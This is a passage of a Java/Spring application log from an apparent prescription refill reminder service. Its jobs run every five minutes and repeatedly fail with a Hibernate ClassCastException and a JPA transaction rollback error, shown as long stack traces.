org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at 